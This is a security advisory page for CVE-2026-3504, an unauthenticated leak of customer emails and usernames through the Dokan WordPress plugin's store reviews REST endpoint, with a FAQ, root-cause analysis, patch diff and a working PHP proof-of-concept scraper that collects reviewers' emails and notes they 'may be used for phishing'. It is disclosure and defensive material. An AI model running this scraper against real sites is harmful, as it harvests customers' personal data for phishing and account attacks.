What is CVE-2026-3504?

CVE-2026-3504 is a vulnerability in the Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin for WordPress. It allows unauthenticated attackers to access sensitive user information, such as email addresses and usernames, through the ‘/dokan/v1/stores/{id}/reviews’ REST API endpoint.

Who is affected by this vulnerability?

Any WordPress site using the Dokan Lite plugin version 4.3.1 or earlier is affected by this vulnerability. Administrators can check their plugin version in the WordPress dashboard under ‘Plugins’.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Dokan Lite plugin installed. If it is version 4.3.1 or earlier, your site is at risk. Additionally, you can attempt to access the reviews endpoint to see if sensitive data is returned.

How can I fix the vulnerability?

The vulnerability is fixed in version 4.3.2 of the Dokan Lite plugin. Administrators should update to this version immediately to mitigate the risk of information disclosure.

What does the CVSS score of 5.3 mean?

A CVSS score of 5.3 indicates a medium severity level. This means that while the vulnerability is not critical, it poses a significant risk that could lead to data exposure and should be addressed promptly.

What information can be exposed by this vulnerability?

This vulnerability can expose user email addresses, usernames, and user IDs of customers who left reviews on vendor stores. This information can be exploited for phishing attacks or user enumeration.

What is the proof of concept for this vulnerability?

The proof of concept demonstrates how an attacker can send a GET request to the vulnerable API endpoint without authentication. The response may contain sensitive user information, showcasing the risk of unauthorized data access.

What steps should I take to mitigate this vulnerability?

In addition to updating the plugin to version 4.3.2, administrators should review their site’s security practices. This includes ensuring that only necessary plugins are active and monitoring API access.

Can this vulnerability lead to further attacks?

Yes, the exposure of user information can facilitate targeted phishing campaigns or credential stuffing attacks. Attackers may use the leaked data to gain further access to user accounts or sensitive information.

What is the role of the 'prepare_reviews_for_response' method?

The ‘prepare_reviews_for_response’ method is responsible for preparing the review data returned by the API. It incorrectly includes sensitive user information, which leads to the information disclosure vulnerability.

How does the patch address the vulnerability?

The patch modifies the API response to remove sensitive fields such as email addresses and usernames, replacing them with less sensitive information like display names. This prevents unauthorized access to sensitive user data.

What should I do if I cannot update the plugin immediately?

If an immediate update is not possible, consider disabling the store reviews feature in the Dokan settings to prevent access to the vulnerable endpoint until you can apply the patch.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : May 4, 2026

CVE-2026-3504: Dokan: AI Powered WooCommerce Multivendor Marketplace Solution <= 4.3.1 – Unauthenticated Information Disclosure in Store Reviews REST API Endpoint (dokan-lite)

CVE ID CVE-2026-3504

Plugin dokan-lite

Severity Medium (CVSS 5.3)

CWE 200

Vulnerable Version 4.3.1

Patched Version 4.3.2

Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3504: An unauthenticated information disclosure vulnerability in the Dokan WooCommerce Multivendor Marketplace Solution plugin for WordPress, up to version 4.3.1. The flaw exists in the store reviews REST API endpoint, allowing attackers to extract sensitive user data without authentication when the Pro version is installed with store reviews enabled. The CVSS score is 5.3 (Medium).

The root cause is in the `prepare_reviews_for_response` method within `/dokan-lite/includes/REST/StoreController.php`. The vulnerable code (lines 831-835 and 851-854) exposes the `user_login` (username) and `user_email` fields for registered users, and the `comment_author_email` field for guest reviews, within the API response’s ‘author’ object. Atomic Edge analysis confirms that this occurs without any authorization check on the `/dokan/v1/stores/{id}/reviews` endpoint for unauthenticated users.

An attacker can exploit this by sending a GET request to the REST API endpoint `/dokan/v1/stores/{id}/reviews` for any store ID. The endpoint returns a JSON response containing review data. Within each review’s ‘author’ object, the vulnerable response includes ‘id’ (user ID), ‘name’ (username for registered users), and ’email’ (user email for registered users or comment author email for guests). No authentication token or nonce is required.

The patch modifies `StoreController.php` lines 831-838 and 850-854. The fix changes the ‘name’ field for registered users from `$user->user_login` (the username) to `$user->display_name` (the display name, which is often not sensitive). It removes the `’email’ => $user->user_email` line entirely for registered users. For guest reviews, it removes the `’email’ => $item->comment_author_email` line. This sanitized response now only exposes the user ID and display name, preventing email and username leakage.

Successful exploitation allows an unauthenticated attacker to enumerate email addresses and usernames of all customers who have left reviews on any vendor’s store. This information can be leveraged for targeted phishing campaigns, credential stuffing attacks, or further reconnaissance to identify high-value users. The exposure of user IDs also aids in user enumeration attacks against the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/dokan-lite/assets/js/dokan-pro-features.asset.php
+++ b/dokan-lite/assets/js/dokan-pro-features.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '47a74642fd5f0e3f2824');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => 'c8a2b996431c317b9846');
--- a/dokan-lite/dokan-class.php
+++ b/dokan-lite/dokan-class.php
@@ -25,7 +25,7 @@
      *
      * @var string
      */
-    public $version = '4.3.1';
+    public $version = '4.3.2';

     /**
      * Instance of self
--- a/dokan-lite/dokan.php
+++ b/dokan-lite/dokan.php
@@ -3,7 +3,7 @@
  * Plugin Name: Dokan
  * Plugin URI: https://dokan.co/wordpress/
  * Description: An e-commerce marketplace plugin for WordPress. Powered by WooCommerce and weDevs.
- * Version: 4.3.1
+ * Version: 4.3.2
  * Author: Dokan Inc.
  * Author URI: https://dokan.co/wordpress/
  * Text Domain: dokan-lite
--- a/dokan-lite/includes/REST/StoreController.php
+++ b/dokan-lite/includes/REST/StoreController.php
@@ -831,8 +831,7 @@
                 'id'         => (int) $item->ID,
                 'author'     => [
                     'id'     => $user->ID,
-                    'name'   => $user->user_login,
-                    'email'  => $user->user_email,
+                    'name'   => $user->display_name,
                     'url'    => $user->user_url,
                     'avatar' => $user_gravatar,
                 ],
@@ -851,7 +850,6 @@
                 'author'     => [
                     'id'     => $item->user_id,
                     'name'   => $item->comment_author,
-                    'email'  => $item->comment_author_email,
                     'url'    => $item->comment_author_url,
                     'avatar' => $comment_author_img_url,
                 ],
--- a/dokan-lite/templates/whats-new.php
+++ b/dokan-lite/templates/whats-new.php
@@ -4,6 +4,18 @@
  */
 $changelog = [
     [
+        'version'  => 'Version 4.3.2',
+        'released' => '2026-03-13',
+        'changes'  => [
+            'Fix' => [
+                [
+                    'title'       => 'Prevent unauthenticated access to customer information via the Store Reviews REST API endpoint.',
+                    'description' => '',
+                ],
+            ],
+        ],
+    ],
+    [
         'version'  => 'Version 4.3.1',
         'released' => '2026-03-06',
         'changes'  => [
--- a/dokan-lite/vendor/composer/installed.php
+++ b/dokan-lite/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wedevs/dokan',
-        'pretty_version' => 'v4.3.1',
-        'version' => '4.3.1.0',
-        'reference' => '2b99fe1cd1818a48f18c97ef26ced16820b7c84f',
+        'pretty_version' => 'v4.3.2',
+        'version' => '4.3.2.0',
+        'reference' => '18604caaa3f8dc8f929d97e873a7b34048db08d0',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'wedevs/dokan' => array(
-            'pretty_version' => 'v4.3.1',
-            'version' => '4.3.1.0',
-            'reference' => '2b99fe1cd1818a48f18c97ef26ced16820b7c84f',
+            'pretty_version' => 'v4.3.2',
+            'version' => '4.3.2.0',
+            'reference' => '18604caaa3f8dc8f929d97e873a7b34048db08d0',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3504 - Dokan: Unauthenticated Information Disclosure in Store Reviews REST API

$target_url = 'http://example.com'; // Change this to the target WordPress site
$store_id = 1; // Change to target store ID (usually 1-100)

$endpoint = '/wp-json/dokan/v1/stores/' . $store_id . '/reviews';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: AtomicEdge-PoC/1.0',
    'Accept: application/json'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    echo "[!] Failed to fetch reviews. HTTP Status: $http_coden";
    exit(1);
}

$data = json_decode($response, true);

if (empty($data) || !isset($data['data'])) {
    echo "[!] Unexpected response format or no reviews found.n";
    echo '[!] Raw response: ' . substr($response, 0, 500) . "n";
    exit(1);
}

$reviews = $data['data'];

echo "[+] Successfully retrieved " . count($reviews) . " reviews from store ID $store_id.nn";

foreach ($reviews as $review) {
    $author = $review['author'] ?? [];
    $user_id = $author['id'] ?? 'N/A';
    $username = $author['name'] ?? 'N/A';
    $email = $author['email'] ?? 'N/A';
    echo "User ID: $user_idn";
    echo "Username: $usernamen";
    echo "Email: $emailn";
    echo str_repeat('-', 40) . "n";
}

echo "n[+] Exploitation complete. Emails collected may be used for phishing.n";

Frequently Asked Questions

What is CVE-2026-3504?
Details of the vulnerability
CVE-2026-3504 is a vulnerability in the Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin for WordPress. It allows unauthenticated attackers to access sensitive user information, such as email addresses and usernames, through the ‘/dokan/v1/stores/{id}/reviews’ REST API endpoint.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Dokan Lite plugin version 4.3.1 or earlier is affected by this vulnerability. Administrators can check their plugin version in the WordPress dashboard under ‘Plugins’.
How can I check if my site is vulnerable?
Steps to verify vulnerability
To check if your site is vulnerable, verify the version of the Dokan Lite plugin installed. If it is version 4.3.1 or earlier, your site is at risk. Additionally, you can attempt to access the reviews endpoint to see if sensitive data is returned.
How can I fix the vulnerability?
Updating the plugin
The vulnerability is fixed in version 4.3.2 of the Dokan Lite plugin. Administrators should update to this version immediately to mitigate the risk of information disclosure.
What does the CVSS score of 5.3 mean?
Understanding the severity level
A CVSS score of 5.3 indicates a medium severity level. This means that while the vulnerability is not critical, it poses a significant risk that could lead to data exposure and should be addressed promptly.
What information can be exposed by this vulnerability?
Types of sensitive information at risk
This vulnerability can expose user email addresses, usernames, and user IDs of customers who left reviews on vendor stores. This information can be exploited for phishing attacks or user enumeration.
What is the proof of concept for this vulnerability?
Demonstrating the exploit
The proof of concept demonstrates how an attacker can send a GET request to the vulnerable API endpoint without authentication. The response may contain sensitive user information, showcasing the risk of unauthorized data access.
What steps should I take to mitigate this vulnerability?
Immediate actions for administrators
In addition to updating the plugin to version 4.3.2, administrators should review their site’s security practices. This includes ensuring that only necessary plugins are active and monitoring API access.
Can this vulnerability lead to further attacks?
Potential for escalation
Yes, the exposure of user information can facilitate targeted phishing campaigns or credential stuffing attacks. Attackers may use the leaked data to gain further access to user accounts or sensitive information.
What is the role of the 'prepare_reviews_for_response' method?
Understanding the vulnerable code
The ‘prepare_reviews_for_response’ method is responsible for preparing the review data returned by the API. It incorrectly includes sensitive user information, which leads to the information disclosure vulnerability.
How does the patch address the vulnerability?
Changes made in the updated version
The patch modifies the API response to remove sensitive fields such as email addresses and usernames, replacing them with less sensitive information like display names. This prevents unauthorized access to sensitive user data.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If an immediate update is not possible, consider disabling the store reviews feature in the Dokan settings to prevent access to the vulnerable endpoint until you can apply the patch.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations